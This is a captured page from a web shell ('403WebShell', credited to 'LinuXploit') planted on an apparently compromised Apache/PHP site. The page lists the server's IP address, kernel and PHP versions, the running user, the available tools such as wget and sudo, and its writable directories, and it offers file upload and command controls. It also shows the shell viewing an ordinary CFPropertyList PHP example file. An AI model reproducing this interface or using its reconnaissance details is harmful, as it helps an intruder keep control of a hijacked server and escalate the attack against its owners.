????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/login/login/plist/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.notes-online.se/login/login/plist/examples/example-create-04.php
<?php
/**
 * Examples for how to use CFPropertyList
 * Create the PropertyList sample.xml.plist by using {@link CFTypeDetector}.
 * @package plist
 * @subpackage plist.examples
 */

// just in case...
error_reporting( E_ALL );
ini_set( 'display_errors', 'on' );

/**
 * Require CFPropertyList
 */
require_once(dirname(__FILE__).'/../CFPropertyList.php');

class DemoDetector extends CFTypeDetector {
  
  public function toCFType($value) {
    if( $value instanceof PListException ) {
      return new CFString( $value->getMessage() );
    }

    return parent::toCFType($value);
  }
  
}

/*
 * import the array structure to create the sample.xml.plist
 * We make use of CFTypeDetector, which truly is not almighty!
 */

$stack = new SplStack();
$stack[] = 1;
$stack[] = 2;
$stack[] = 3;

$structure = array(
  'NullValueTest' => null,
  'IteratorTest' => $stack,
  'ObjectTest' => new PListException('Just a test...'),
);

/*
 * Try default detection
 */
try {
  $plist = new CFPropertyList();
  $td = new CFTypeDetector();  
  $guessedStructure = $td->toCFType( $structure );
  $plist->add( $guessedStructure );
  $plist->saveXML( dirname(__FILE__).'/example-create-04.xml.plist' );
  $plist->saveBinary( dirname(__FILE__).'/example-create-04.binary.plist' );
}
catch( PListException $e ) {
  echo 'Normal detection: ', $e->getMessage(), "\n";
}

/*
 * Try detection by omitting exceptions
 */
try {
  $plist = new CFPropertyList();
  $td = new CFTypeDetector( false, true );  
  $guessedStructure = $td->toCFType( $structure );
  $plist->add( $guessedStructure );
  $plist->saveXML( dirname(__FILE__).'/example-create-04.xml.plist' );
  $plist->saveBinary( dirname(__FILE__).'/example-create-04.binary.plist' );
}
catch( PListException $e ) {
  echo 'Silent detection: ', $e->getMessage(), "\n";
}

/*
 * Try detection with an extended version of CFTypeDetector
 */
try {
  $plist = new CFPropertyList();
  $td = new DemoDetector();  
  $guessedStructure = $td->toCFType( $structure );
  $plist->add( $guessedStructure );
  $plist->saveXML( dirname(__FILE__).'/example-create-04.xml.plist' );
  $plist->saveBinary( dirname(__FILE__).'/example-create-04.binary.plist' );
}
catch( PListException $e ) {
  echo 'User defined detection: ', $e->getMessage(), "\n";
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit